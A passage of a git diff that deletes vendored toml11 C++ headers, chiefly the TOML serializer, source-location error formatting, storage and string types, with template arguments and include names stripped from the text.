none_t&) noexcept {return true;} -inline bool operator> (const none_t&, const none_t&) noexcept {return false;} -inline bool operator>=(const none_t&, const none_t&) noexcept {return true;} -template -std::basic_ostream& -operator<<(std::basic_ostream& os, const none_t&) -{ - os << "none"; - return os; -} -inline failure none() noexcept {return failure{none_t{}};} -} // detail -} // toml11 -#endif// TOML11_RESULT_H diff --git a/src/toml11/toml/serializer.hpp b/src/toml11/toml/serializer.hpp deleted file mode 100644 index 88ae775a8..000000000 --- a/src/toml11/toml/serializer.hpp +++ /dev/null @@ -1,922 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_SERIALIZER_HPP -#define TOML11_SERIALIZER_HPP -#include -#include - -#include - -#include "lexer.hpp" -#include "value.hpp" - -namespace toml -{ - -// This function serialize a key. It checks a string is a bare key and -// escapes special characters if the string is not compatible to a bare key. -// ```cpp -// std::string k("non.bare.key"); // the key itself includes `.`s. -// std::string formatted = toml::format_key(k); -// assert(formatted == "\"non.bare.key\""); -// ``` -// -// This function is exposed to make it easy to write a user-defined serializer. -// Since toml restricts characters available in a bare key, generally a string -// should be escaped. But checking whether a string needs to be surrounded by -// a `"` and escaping some special character is boring. -template -std::basic_string -format_key(const std::basic_string& k) -{ - if(k.empty()) - { - return std::string("\"\""); - } - - // check the key can be a bare (unquoted) key - detail::location loc(k, std::vector(k.begin(), k.end())); - detail::lex_unquoted_key::invoke(loc); - if(loc.iter() == loc.end()) - { - return k; // all the tokens are consumed. the key is unquoted-key. - } - - //if it includes special characters, then format it in a "quoted" key. - std::basic_string serialized("\""); - for(const char c : k) - { - switch(c) - { - case '\\': {serialized += "\\\\"; break;} - case '\"': {serialized += "\\\""; break;} - case '\b': {serialized += "\\b"; break;} - case '\t': {serialized += "\\t"; break;} - case '\f': {serialized += "\\f"; break;} - case '\n': {serialized += "\\n"; break;} - case '\r': {serialized += "\\r"; break;} - default : {serialized += c; break;} - } - } - serialized += "\""; - return serialized; -} - -template -std::basic_string -format_keys(const std::vector>& keys) -{ - if(keys.empty()) - { - return std::string("\"\""); - } - - std::basic_string serialized; - for(const auto& ky : keys) - { - serialized += format_key(ky); - serialized += charT('.'); - } - serialized.pop_back(); // remove the last dot '.' - return serialized; -} - -template -struct serializer -{ - static_assert(detail::is_basic_value::value, - "toml::serializer is for toml::value and its variants, " - "toml::basic_value<...>."); - - using value_type = Value; - using key_type = typename value_type::key_type ; - using comment_type = typename value_type::comment_type ; - using boolean_type = typename value_type::boolean_type ; - using integer_type = typename value_type::integer_type ; - using floating_type = typename value_type::floating_type ; - using string_type = typename value_type::string_type ; - using local_time_type = typename value_type::local_time_type ; - using local_date_type = typename value_type::local_date_type ; - using local_datetime_type = typename value_type::local_datetime_type ; - using offset_datetime_type = typename value_type::offset_datetime_type; - using array_type = typename value_type::array_type ; - using table_type = typename value_type::table_type ; - - serializer(const std::size_t w = 80u, - const int float_prec = std::numeric_limits::max_digits10, - const bool can_be_inlined = false, - const bool no_comment = false, - std::vector ks = {}, - const bool value_has_comment = false) - : can_be_inlined_(can_be_inlined), no_comment_(no_comment), - value_has_comment_(value_has_comment && !no_comment), - float_prec_(float_prec), width_(w), keys_(std::move(ks)) - {} - ~serializer() = default; - - std::string operator()(const boolean_type& b) const - { - return b ? "true" : "false"; - } - std::string operator()(const integer_type i) const - { - return std::to_string(i); - } - std::string operator()(const floating_type f) const - { - if(std::isnan(f)) - { - if(std::signbit(f)) - { - return std::string("-nan"); - } - else - { - return std::string("nan"); - } - } - else if(!std::isfinite(f)) - { - if(std::signbit(f)) - { - return std::string("-inf"); - } - else - { - return std::string("inf"); - } - } - - const auto fmt = "%.*g"; - const auto bsz = std::snprintf(nullptr, 0, fmt, this->float_prec_, f); - // +1 for null character(\0) - std::vector buf(static_cast(bsz + 1), '\0'); - std::snprintf(buf.data(), buf.size(), fmt, this->float_prec_, f); - - std::string token(buf.begin(), std::prev(buf.end())); - if(!token.empty() && token.back() == '.') // 1. => 1.0 - { - token += '0'; - } - - const auto e = std::find_if( - token.cbegin(), token.cend(), [](const char c) noexcept -> bool { - return c == 'e' || c == 'E'; - }); - const auto has_exponent = (token.cend() != e); - const auto has_fraction = (token.cend() != std::find( - token.cbegin(), token.cend(), '.')); - - if(!has_exponent && !has_fraction) - { - // the resulting value does not have any float specific part! - token += ".0"; - } - return token; - } - std::string operator()(const string_type& s) const - { - if(s.kind == string_t::basic) - { - if((std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\"') != s.str.cend()) && - this->width_ != (std::numeric_limits::max)()) - { - // if linefeed or double-quote is contained, - // make it multiline basic string. - const auto escaped = this->escape_ml_basic_string(s.str); - std::string open("\"\"\""); - std::string close("\"\"\""); - if(escaped.find('\n') != std::string::npos || - this->width_ < escaped.size() + 6) - { - // if the string body contains newline or is enough long, - // add newlines after and before delimiters. - open += "\n"; - close = std::string("\\\n") + close; - } - return open + escaped + close; - } - - // no linefeed. try to make it oneline-string. - std::string oneline = this->escape_basic_string(s.str); - if(oneline.size() + 2 < width_ || width_ < 2) - { - const std::string quote("\""); - return quote + oneline + quote; - } - - // the line is too long compared to the specified width. - // split it into multiple lines. - std::string token("\"\"\"\n"); - while(!oneline.empty()) - { - if(oneline.size() < width_) - { - token += oneline; - oneline.clear(); - } - else if(oneline.at(width_-2) == '\\') - { - token += oneline.substr(0, width_-2); - token += "\\\n"; - oneline.erase(0, width_-2); - } - else - { - token += oneline.substr(0, width_-1); - token += "\\\n"; - oneline.erase(0, width_-1); - } - } - return token + std::string("\\\n\"\"\""); - } - else // the string `s` is literal-string. - { - if(std::find(s.str.cbegin(), s.str.cend(), '\n') != s.str.cend() || - std::find(s.str.cbegin(), s.str.cend(), '\'') != s.str.cend() ) - { - std::string open("'''"); - if(this->width_ + 6 < s.str.size()) - { - open += '\n'; // the first newline is ignored by TOML spec - } - const std::string close("'''"); - return open + s.str + close; - } - else - { - const std::string quote("'"); - return quote + s.str + quote; - } - } - } - - std::string operator()(const local_date_type& d) const - { - std::ostringstream oss; - oss << d; - return oss.str(); - } - std::string operator()(const local_time_type& t) const - { - std::ostringstream oss; - oss << t; - return oss.str(); - } - std::string operator()(const local_datetime_type& dt) const - { - std::ostringstream oss; - oss << dt; - return oss.str(); - } - std::string operator()(const offset_datetime_type& odt) const - { - std::ostringstream oss; - oss << odt; - return oss.str(); - } - - std::string operator()(const array_type& v) const - { - if(v.empty()) - { - return std::string("[]"); - } - if(this->is_array_of_tables(v)) - { - return make_array_of_tables(v); - } - - // not an array of tables. normal array. - // first, try to make it inline if none of the elements have a comment. - if( ! this->has_comment_inside(v)) - { - const auto inl = this->make_inline_array(v); - if(inl.size() < this->width_ && - std::find(inl.cbegin(), inl.cend(), '\n') == inl.cend()) - { - return inl; - } - } - - // if the length exceeds this->width_, print multiline array. - // key = [ - // # ... - // 42, - // ... - // ] - std::string token; - std::string current_line; - token += "[\n"; - for(const auto& item : v) - { - if( ! item.comments().empty() && !no_comment_) - { - // if comment exists, the element must be the only element in the line. - // e.g. the following is not allowed. - // ```toml - // array = [ - // # comment for what? - // 1, 2, 3, 4, 5 - // ] - // ``` - if(!current_line.empty()) - { - if(current_line.back() != '\n') - { - current_line += '\n'; - } - token += current_line; - current_line.clear(); - } - for(const auto& c : item.comments()) - { - token += '#'; - token += c; - token += '\n'; - } - token += toml::visit(*this, item); - if(!token.empty() && token.back() == '\n') {token.pop_back();} - token += ",\n"; - continue; - } - std::string next_elem; - if(item.is_table()) - { - serializer ser(*this); - ser.can_be_inlined_ = true; - ser.width_ = (std::numeric_limits::max)(); - next_elem += toml::visit(ser, item); - } - else - { - next_elem += toml::visit(*this, item); - } - - // comma before newline. - if(!next_elem.empty() && next_elem.back() == '\n') {next_elem.pop_back();} - - // if current line does not exceeds the width limit, continue. - if(current_line.size() + next_elem.size() + 1 < this->width_) - { - current_line += next_elem; - current_line += ','; - } - else if(current_line.empty()) - { - // if current line was empty, force put the next_elem because - // next_elem is not splittable - token += next_elem; - token += ",\n"; - // current_line is kept empty - } - else // reset current_line - { - assert(current_line.back() == ','); - token += current_line; - token += '\n'; - current_line = next_elem; - current_line += ','; - } - } - if(!current_line.empty()) - { - if(!current_line.empty() && current_line.back() != '\n') - { - current_line += '\n'; - } - token += current_line; - } - token += "]\n"; - return token; - } - - // templatize for any table-like container - std::string operator()(const table_type& v) const - { - // if an element has a comment, then it can't be inlined. - // table = {# how can we write a comment for this? key = "value"} - if(this->can_be_inlined_ && !(this->has_comment_inside(v))) - { - std::string token; - if(!this->keys_.empty()) - { - token += format_key(this->keys_.back()); - token += " = "; - } - token += this->make_inline_table(v); - if(token.size() < this->width_ && - token.end() == std::find(token.begin(), token.end(), '\n')) - { - return token; - } - } - - std::string token; - if(!keys_.empty()) - { - token += '['; - token += format_keys(keys_); - token += "]\n"; - } - token += this->make_multiline_table(v); - return token; - } - - private: - - std::string escape_basic_string(const std::string& s) const - { - //XXX assuming `s` is a valid utf-8 sequence. - std::string retval; - for(const char c : s) - { - switch(c) - { - case '\\': {retval += "\\\\"; break;} - case '\"': {retval += "\\\""; break;} - case '\b': {retval += "\\b"; break;} - case '\t': {retval += "\\t"; break;} - case '\f': {retval += "\\f"; break;} - case '\n': {retval += "\\n"; break;} - case '\r': {retval += "\\r"; break;} - default : - { - if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F) - { - retval += "\\u00"; - retval += char(48 + (c / 16)); - retval += char((c % 16 < 10 ? 48 : 55) + (c % 16)); - } - else - { - retval += c; - } - } - } - } - return retval; - } - - std::string escape_ml_basic_string(const std::string& s) const - { - std::string retval; - for(auto i=s.cbegin(), e=s.cend(); i!=e; ++i) - { - switch(*i) - { - case '\\': {retval += "\\\\"; break;} - // One or two consecutive "s are allowed. - // Later we will check there are no three consecutive "s. - // case '\"': {retval += "\\\""; break;} - case '\b': {retval += "\\b"; break;} - case '\t': {retval += "\\t"; break;} - case '\f': {retval += "\\f"; break;} - case '\n': {retval += "\n"; break;} - case '\r': - { - if(std::next(i) != e && *std::next(i) == '\n') - { - retval += "\r\n"; - ++i; - } - else - { - retval += "\\r"; - } - break; - } - default : - { - const auto c = *i; - if((0x00 <= c && c <= 0x08) || (0x0A <= c && c <= 0x1F) || c == 0x7F) - { - retval += "\\u00"; - retval += char(48 + (c / 16)); - retval += char((c % 16 < 10 ? 48 : 55) + (c % 16)); - } - else - { - retval += c; - } - } - - } - } - // Only 1 or 2 consecutive `"`s are allowed in multiline basic string. - // 3 consecutive `"`s are considered as a closing delimiter. - // We need to check if there are 3 or more consecutive `"`s and insert - // backslash to break them down into several short `"`s like the `str6` - // in the following example. - // ```toml - // str4 = """Here are two quotation marks: "". Simple enough.""" - // # str5 = """Here are three quotation marks: """.""" # INVALID - // str5 = """Here are three quotation marks: ""\".""" - // str6 = """Here are fifteen quotation marks: ""\"""\"""\"""\"""\".""" - // ``` - auto found_3_quotes = retval.find("\"\"\""); - while(found_3_quotes != std::string::npos) - { - retval.replace(found_3_quotes, 3, "\"\"\\\""); - found_3_quotes = retval.find("\"\"\""); - } - return retval; - } - - // if an element of a table or an array has a comment, it cannot be inlined. - bool has_comment_inside(const array_type& a) const noexcept - { - // if no_comment is set, comments would not be written. - if(this->no_comment_) {return false;} - - for(const auto& v : a) - { - if(!v.comments().empty()) {return true;} - } - return false; - } - bool has_comment_inside(const table_type& t) const noexcept - { - // if no_comment is set, comments would not be written. - if(this->no_comment_) {return false;} - - for(const auto& kv : t) - { - if(!kv.second.comments().empty()) {return true;} - } - return false; - } - - std::string make_inline_array(const array_type& v) const - { - assert(!has_comment_inside(v)); - std::string token; - token += '['; - bool is_first = true; - for(const auto& item : v) - { - if(is_first) {is_first = false;} else {token += ',';} - token += visit(serializer( - (std::numeric_limits::max)(), this->float_prec_, - /* inlined */ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !item.comments().empty()), item); - } - token += ']'; - return token; - } - - std::string make_inline_table(const table_type& v) const - { - assert(!has_comment_inside(v)); - assert(this->can_be_inlined_); - std::string token; - token += '{'; - bool is_first = true; - for(const auto& kv : v) - { - // in inline tables, trailing comma is not allowed (toml-lang #569). - if(is_first) {is_first = false;} else {token += ',';} - token += format_key(kv.first); - token += '='; - token += visit(serializer( - (std::numeric_limits::max)(), this->float_prec_, - /* inlined */ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - } - token += '}'; - return token; - } - - std::string make_multiline_table(const table_type& v) const - { - std::string token; - - // print non-table elements first. - // ```toml - // [foo] # a table we're writing now here - // key = "value" # <- non-table element, "key" - // # ... - // [foo.bar] # <- table element, "bar" - // ``` - // because after printing [foo.bar], the remaining non-table values will - // be assigned into [foo.bar], not [foo]. Those values should be printed - // earlier. - for(const auto& kv : v) - { - if(kv.second.is_table() || is_array_of_tables(kv.second)) - { - continue; - } - - token += write_comments(kv.second); - - const auto key_and_sep = format_key(kv.first) + " = "; - const auto residual_width = (this->width_ > key_and_sep.size()) ? - this->width_ - key_and_sep.size() : 0; - token += key_and_sep; - token += visit(serializer(residual_width, this->float_prec_, - /*can be inlined*/ true, /*no comment*/ false, /*keys*/ {}, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - - if(token.back() != '\n') - { - token += '\n'; - } - } - - // normal tables / array of tables - - // after multiline table appeared, the other tables cannot be inline - // because the table would be assigned into the table. - // [foo] - // ... - // bar = {...} # <- bar will be a member of [foo]. - bool multiline_table_printed = false; - for(const auto& kv : v) - { - if(!kv.second.is_table() && !is_array_of_tables(kv.second)) - { - continue; // other stuff are already serialized. skip them. - } - - std::vector ks(this->keys_); - ks.push_back(kv.first); - - auto tmp = visit(serializer(this->width_, this->float_prec_, - !multiline_table_printed, this->no_comment_, ks, - /*has_comment*/ !kv.second.comments().empty()), kv.second); - - // If it is the first time to print a multi-line table, it would be - // helpful to separate normal key-value pair and subtables by a - // newline. - // (this checks if the current key-value pair contains newlines. - // but it is not perfect because multi-line string can also contain - // a newline. in such a case, an empty line will be written) TODO - if((!multiline_table_printed) && - std::find(tmp.cbegin(), tmp.cend(), '\n') != tmp.cend()) - { - multiline_table_printed = true; - token += '\n'; // separate key-value pairs and subtables - - token += write_comments(kv.second); - token += tmp; - - // care about recursive tables (all tables in each level prints - // newline and there will be a full of newlines) - if(tmp.substr(tmp.size() - 2, 2) != "\n\n" && - tmp.substr(tmp.size() - 4, 4) != "\r\n\r\n" ) - { - token += '\n'; - } - } - else - { - token += write_comments(kv.second); - token += tmp; - token += '\n'; - } - } - return token; - } - - std::string make_array_of_tables(const array_type& v) const - { - // if it's not inlined, we need to add `[[table.key]]`. - // but if it can be inlined, we can format it as the following. - // ``` - // table.key = [ - // {...}, - // # comment - // {...}, - // ] - // ``` - // This function checks if inlinization is possible or not, and then - // format the array-of-tables in a proper way. - // - // Note about comments: - // - // If the array itself has a comment (value_has_comment_ == true), we - // should try to make it inline. - // ```toml - // # comment about array - // array = [ - // # comment about table element - // {of = "table"} - // ] - // ``` - // If it is formatted as a multiline table, the two comments becomes - // indistinguishable. - // ```toml - // # comment about array - // # comment about table element - // [[array]] - // of = "table" - // ``` - // So we need to try to make it inline, and it force-inlines regardless - // of the line width limit. - // It may fail if the element of a table has comment. In that case, - // the array-of-tables will be formatted as a multiline table. - if(this->can_be_inlined_ || this->value_has_comment_) - { - std::string token; - if(!keys_.empty()) - { - token += format_key(keys_.back()); - token += " = "; - } - - bool failed = false; - token += "[\n"; - for(const auto& item : v) - { - // if an element of the table has a comment, the table - // cannot be inlined. - if(this->has_comment_inside(item.as_table())) - { - failed = true; - break; - } - // write comments for the table itself - token += write_comments(item); - - const auto t = this->make_inline_table(item.as_table()); - - if(t.size() + 1 > width_ || // +1 for the last comma {...}, - std::find(t.cbegin(), t.cend(), '\n') != t.cend()) - { - // if the value itself has a comment, ignore the line width limit - if( ! this->value_has_comment_) - { - failed = true; - break; - } - } - token += t; - token += ",\n"; - } - - if( ! failed) - { - token += "]\n"; - return token; - } - // if failed, serialize them as [[array.of.tables]]. - } - - std::string token; - for(const auto& item : v) - { - token += write_comments(item); - token += "[["; - token += format_keys(keys_); - token += "]]\n"; - token += this->make_multiline_table(item.as_table()); - } - return token; - } - - std::string write_comments(const value_type& v) const - { - std::string retval; - if(this->no_comment_) {return retval;} - - for(const auto& c : v.comments()) - { - retval += '#'; - retval += c; - retval += '\n'; - } - return retval; - } - - bool is_array_of_tables(const value_type& v) const - { - if(!v.is_array() || v.as_array().empty()) {return false;} - return is_array_of_tables(v.as_array()); - } - bool is_array_of_tables(const array_type& v) const - { - // Since TOML v0.5.0, heterogeneous arrays are allowed. So we need to - // check all the element in an array to check if the array is an array - // of tables. - return std::all_of(v.begin(), v.end(), [](const value_type& elem) { - return elem.is_table(); - }); - } - - private: - - bool can_be_inlined_; - bool no_comment_; - bool value_has_comment_; - int float_prec_; - std::size_t width_; - std::vector keys_; -}; - -template class M, template class V> -std::string -format(const basic_value& v, std::size_t w = 80u, - int fprec = std::numeric_limits::max_digits10, - bool no_comment = false, bool force_inline = false) -{ - using value_type = basic_value; - // if value is a table, it is considered to be a root object. - // the root object can't be an inline table. - if(v.is_table()) - { - std::ostringstream oss; - if(!v.comments().empty()) - { - oss << v.comments(); - oss << '\n'; // to split the file comment from the first element - } - const auto serialized = visit(serializer(w, fprec, false, no_comment), v); - oss << serialized; - return oss.str(); - } - return visit(serializer(w, fprec, force_inline), v); -} - -namespace detail -{ -template -int comment_index(std::basic_ostream&) -{ - static const int index = std::ios_base::xalloc(); - return index; -} -} // detail - -template -std::basic_ostream& -nocomment(std::basic_ostream& os) -{ - // by default, it is zero. and by default, it shows comments. - os.iword(detail::comment_index(os)) = 1; - return os; -} - -template -std::basic_ostream& -showcomment(std::basic_ostream& os) -{ - // by default, it is zero. and by default, it shows comments. - os.iword(detail::comment_index(os)) = 0; - return os; -} - -template class M, template class V> -std::basic_ostream& -operator<<(std::basic_ostream& os, const basic_value& v) -{ - using value_type = basic_value; - - // get status of std::setw(). - const auto w = static_cast(os.width()); - const int fprec = static_cast(os.precision()); - os.width(0); - - // by default, iword is initialized by 0. And by default, toml11 outputs - // comments. So `0` means showcomment. 1 means nocommnet. - const bool no_comment = (1 == os.iword(detail::comment_index(os))); - - if(!no_comment && v.is_table() && !v.comments().empty()) - { - os << v.comments(); - os << '\n'; // to split the file comment from the first element - } - // the root object can't be an inline table. so pass `false`. - const auto serialized = visit(serializer(w, fprec, no_comment, false), v); - os << serialized; - - // if v is a non-table value, and has only one comment, then - // put a comment just after a value. in the following way. - // - // ```toml - // key = "value" # comment. - // ``` - // - // Since the top-level toml object is a table, one who want to put a - // non-table toml value must use this in a following way. - // - // ```cpp - // toml::value v; - // std::cout << "user-defined-key = " << v << std::endl; - // ``` - // - // In this case, it is impossible to put comments before key-value pair. - // The only way to preserve comments is to put all of them after a value. - if(!no_comment && !v.is_table() && !v.comments().empty()) - { - os << " #"; - for(const auto& c : v.comments()) {os << c;} - } - return os; -} - -} // toml -#endif// TOML11_SERIALIZER_HPP diff --git a/src/toml11/toml/source_location.hpp b/src/toml11/toml/source_location.hpp deleted file mode 100644 index fa175b5b4..000000000 --- a/src/toml11/toml/source_location.hpp +++ /dev/null @@ -1,233 +0,0 @@ -// Copyright Toru Niina 2019. -// Distributed under the MIT License. -#ifndef TOML11_SOURCE_LOCATION_HPP -#define TOML11_SOURCE_LOCATION_HPP -#include -#include - -#include "region.hpp" - -namespace toml -{ - -// A struct to contain location in a toml file. -// The interface imitates std::experimental::source_location, -// but not completely the same. -// -// It would be constructed by toml::value. It can be used to generate -// user-defined error messages. -// -// - std::uint_least32_t line() const noexcept -// - returns the line number where the region is on. -// - std::uint_least32_t column() const noexcept -// - returns the column number where the region starts. -// - std::uint_least32_t region() const noexcept -// - returns the size of the region. -// -// +-- line() +-- region of interest (region() == 9) -// v .---+---. -// 12 | value = "foo bar" -// ^ -// +-- column() -// -// - std::string const& file_name() const noexcept; -// - name of the file. -// - std::string const& line_str() const noexcept; -// - the whole line that contains the region of interest. -// -struct source_location -{ - public: - - source_location() - : line_num_(1), column_num_(1), region_size_(1), - file_name_("unknown file"), line_str_("") - {} - - explicit source_location(const detail::region_base* reg) - : line_num_(1), column_num_(1), region_size_(1), - file_name_("unknown file"), line_str_("") - { - if(reg) - { - if(reg->line_num() != detail::region_base().line_num()) - { - line_num_ = static_cast( - std::stoul(reg->line_num())); - } - column_num_ = static_cast(reg->before() + 1); - region_size_ = static_cast(reg->size()); - file_name_ = reg->name(); - line_str_ = reg->line(); - } - } - - explicit source_location(const detail::region& reg) - : line_num_(static_cast(std::stoul(reg.line_num()))), - column_num_(static_cast(reg.before() + 1)), - region_size_(static_cast(reg.size())), - file_name_(reg.name()), - line_str_ (reg.line()) - {} - explicit source_location(const detail::location& loc) - : line_num_(static_cast(std::stoul(loc.line_num()))), - column_num_(static_cast(loc.before() + 1)), - region_size_(static_cast(loc.size())), - file_name_(loc.name()), - line_str_ (loc.line()) - {} - - ~source_location() = default; - source_location(source_location const&) = default; - source_location(source_location &&) = default; - source_location& operator=(source_location const&) = default; - source_location& operator=(source_location &&) = default; - - std::uint_least32_t line() const noexcept {return line_num_;} - std::uint_least32_t column() const noexcept {return column_num_;} - std::uint_least32_t region() const noexcept {return region_size_;} - - std::string const& file_name() const noexcept {return file_name_;} - std::string const& line_str() const noexcept {return line_str_;} - - private: - - std::uint_least32_t line_num_; - std::uint_least32_t column_num_; - std::uint_least32_t region_size_; - std::string file_name_; - std::string line_str_; -}; - -namespace detail -{ - -// internal error message generation. -inline std::string format_underline(const std::string& message, - const std::vector>& loc_com, - const std::vector& helps = {}, - const bool colorize = TOML11_ERROR_MESSAGE_COLORIZED) -{ - std::size_t line_num_width = 0; - for(const auto& lc : loc_com) - { - std::uint_least32_t line = lc.first.line(); - std::size_t digit = 0; - while(line != 0) - { - line /= 10; - digit += 1; - } - line_num_width = (std::max)(line_num_width, digit); - } - // 1 is the minimum width - line_num_width = std::max(line_num_width, 1); - - std::ostringstream retval; - - if(colorize) - { - retval << color::colorize; // turn on ANSI color - } - - // XXX - // Here, before `colorize` support, it does not output `[error]` prefix - // automatically. So some user may output it manually and this change may - // duplicate the prefix. To avoid it, check the first 7 characters and - // if it is "[error]", it removes that part from the message shown. - if(message.size() > 7 && message.substr(0, 7) == "[error]") - { - retval << color::bold << color::red << "[error]" << color::reset - << color::bold << message.substr(7) << color::reset << '\n'; - } - else - { - retval << color::bold << color::red << "[error] " << color::reset - << color::bold << message << color::reset << '\n'; - } - - const auto format_one_location = [line_num_width] - (std::ostringstream& oss, - const source_location& loc, const std::string& comment) -> void - { - oss << ' ' << color::bold << color::blue - << std::setw(static_cast(line_num_width)) - << std::right << loc.line() << " | " << color::reset - << loc.line_str() << '\n'; - - oss << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " | " << color::reset - << make_string(loc.column()-1 /*1-origin*/, ' '); - - if(loc.region() == 1) - { - // invalid - // ^------ - oss << color::bold << color::red << "^---" << color::reset; - } - else - { - // invalid - // ~~~~~~~ - const auto underline_len = (std::min)( - static_cast(loc.region()), loc.line_str().size()); - oss << color::bold << color::red - << make_string(underline_len, '~') << color::reset; - } - oss << ' '; - oss << comment; - return; - }; - - assert(!loc_com.empty()); - - // --> example.toml - // | - retval << color::bold << color::blue << " --> " << color::reset - << loc_com.front().first.file_name() << '\n'; - retval << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " |\n" << color::reset; - // 1 | key value - // | ^--- missing = - format_one_location(retval, loc_com.front().first, loc_com.front().second); - - // process the rest of the locations - for(std::size_t i=1; i filename.toml" again - { - retval << color::bold << color::blue << " --> " << color::reset - << curr.first.file_name() << '\n'; - retval << make_string(line_num_width + 1, ' ') - << color::bold << color::blue << " |\n" << color::reset; - } - - format_one_location(retval, curr.first, curr.second); - } - - if(!helps.empty()) - { - retval << '\n'; - retval << make_string(line_num_width + 1, ' '); - retval << color::bold << color::blue << " |" << color::reset; - for(const auto& help : helps) - { - retval << color::bold << "\nHint: " << color::reset; - retval << help; - } - } - return retval.str(); -} - -} // detail -} // toml -#endif// TOML11_SOURCE_LOCATION_HPP diff --git a/src/toml11/toml/storage.hpp b/src/toml11/toml/storage.hpp deleted file mode 100644 index 202f9035f..000000000 --- a/src/toml11/toml/storage.hpp +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_STORAGE_HPP -#define TOML11_STORAGE_HPP -#include "utility.hpp" - -namespace toml -{ -namespace detail -{ - -// this contains pointer and deep-copy the content if copied. -// to avoid recursive pointer. -template -struct storage -{ - using value_type = T; - - explicit storage(value_type const& v): ptr(toml::make_unique(v)) {} - explicit storage(value_type&& v): ptr(toml::make_unique(std::move(v))) {} - ~storage() = default; - storage(const storage& rhs): ptr(toml::make_unique(*rhs.ptr)) {} - storage& operator=(const storage& rhs) - { - this->ptr = toml::make_unique(*rhs.ptr); - return *this; - } - storage(storage&&) = default; - storage& operator=(storage&&) = default; - - bool is_ok() const noexcept {return static_cast(ptr);} - - value_type& value() & noexcept {return *ptr;} - value_type const& value() const& noexcept {return *ptr;} - value_type&& value() && noexcept {return std::move(*ptr);} - - private: - std::unique_ptr ptr; -}; - -} // detail -} // toml -#endif// TOML11_STORAGE_HPP diff --git a/src/toml11/toml/string.hpp b/src/toml11/toml/string.hpp deleted file mode 100644 index 5136d8c56..000000000 --- a/src/toml11/toml/string.hpp +++ /dev/null @@ -1,225 +0,0 @@ -// Copyright Toru Niina 2017. -// Distributed under the MIT License. -#ifndef TOML11_STRING_HPP -#define TOML11_STRING_HPP -#include - -#include -#include - -#if __cplusplus >= 201703L -#if __has_include() -#define TOML11_USING_STRING_VIEW 1 -#include -#endif -#endif - -namespace toml -{ - -enum class string_t : std::uint8_t -{ - basic = 0, - literal = 1, -}; - -struct string -{ - string() = default; - ~string() = default; - string(const string& s) = default; - string(string&& s) = default; - string& operator=(const string& s) = default; - string& operator=(string&& s) = default; - - string(const std::string& s): kind(string_t::basic), str(s){} - string(const std::string& s, string_t k): kind(k), str(s){} - string(const char* s): kind(string_t::basic), str(s){} - string(const char* s, string_t k): kind(k), str(s){} - - string(std::string&& s): kind(string_t::basic), str(std::move(s)){} - string(std::string&& s, string_t k): kind(k), str(std::move(s)){} - - string& operator=(const std::string& s) - {kind = string_t::basic; str = s; return *this;} - string& operator=(std::string&& s) - {kind = string_t::basic; str = std::move(s); return *this;} - - operator std::string& () & noexcept {return str;} - operator std::string const& () const& noexcept {return str;} - operator std::string&& () && noexcept {return std::move(str);} - - string& operator+=(const char* rhs) {str += rhs; return *this;} - string& operator+=(const char rhs) {str += rhs; return *this;} - string& operator+=(const std::string& rhs) {str += rhs; return *this;} - string& operator+=(const string& rhs) {str += rhs.str; return *this;} - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 - explicit string(std::string_view s): kind(string_t::basic), str(s){} - string(std::string_view s, string_t k): kind(k), str(s){} - - string& operator=(std::string_view s) - {kind = string_t::basic; str = s; return *this;} - - explicit operator std::string_view() const noexcept - {return std::string_view(str);} - - string& operator+=(const std::string_view& rhs) {str += rhs; return *this;} -#endif - - string_t kind; - std::string str; -}; - -inline bool operator==(const string& lhs, const string& rhs) -{ - return lhs.kind == rhs.kind && lhs.str == rhs.str; -} -inline bool operator!=(const string& lhs, const string& rhs) -{ - return !(lhs == rhs); -} -inline bool operator<(const string& lhs, const string& rhs) -{ - return (lhs.kind == rhs.kind) ? (lhs.str < rhs.str) : (lhs.kind < rhs.kind); -} -inline bool operator>(const string& lhs, const string& rhs) -{ - return rhs < lhs; -} -inline bool operator<=(const string& lhs, const string& rhs) -{ - return !(rhs < lhs); -} -inline bool operator>=(const string& lhs, const string& rhs) -{ - return !(lhs < rhs); -} - -inline bool -operator==(const string& lhs, const std::string& rhs) {return lhs.str == rhs;} -inline bool -operator!=(const string& lhs, const std::string& rhs) {return lhs.str != rhs;} -inline bool -operator< (const string& lhs, const std::string& rhs) {return lhs.str < rhs;} -inline bool -operator> (const string& lhs, const std::string& rhs) {return lhs.str > rhs;} -inline bool -operator<=(const string& lhs, const std::string& rhs) {return lhs.str <= rhs;} -inline bool -operator>=(const string& lhs, const std::string& rhs) {return lhs.str >= rhs;} - -inline bool -operator==(const std::string& lhs, const string& rhs) {return lhs == rhs.str;} -inline bool -operator!=(const std::string& lhs, const string& rhs) {return lhs != rhs.str;} -inline bool -operator< (const std::string& lhs, const string& rhs) {return lhs < rhs.str;} -inline bool -operator> (const std::string& lhs, const string& rhs) {return lhs > rhs.str;} -inline bool -operator<=(const std::string& lhs, const string& rhs) {return lhs <= rhs.str;} -inline bool -operator>=(const std::string& lhs, const string& rhs) {return lhs >= rhs.str;} - -inline bool -operator==(const string& lhs, const char* rhs) {return lhs.str == std::string(rhs);} -inline bool -operator!=(const string& lhs, const char* rhs) {return lhs.str != std::string(rhs);} -inline bool -operator< (const string& lhs, const char* rhs) {return lhs.str < std::string(rhs);} -inline bool -operator> (const string& lhs, const char* rhs) {return lhs.str > std::string(rhs);} -inline bool -operator<=(const string& lhs, const char* rhs) {return lhs.str <= std::string(rhs);} -inline bool -operator>=(const string& lhs, const char* rhs) {return lhs.str >= std::string(rhs);} - -inline bool -operator==(const char* lhs, const string& rhs) {return std::string(lhs) == rhs.str;} -inline bool -operator!=(const char* lhs, const string& rhs) {return std::string(lhs) != rhs.str;} -inline bool -operator< (const char* lhs, const string& rhs) {return std::string(lhs) < rhs.str;} -inline bool -operator> (const char* lhs, const string& rhs) {return std::string(lhs) > rhs.str;} -inline bool -operator<=(const char* 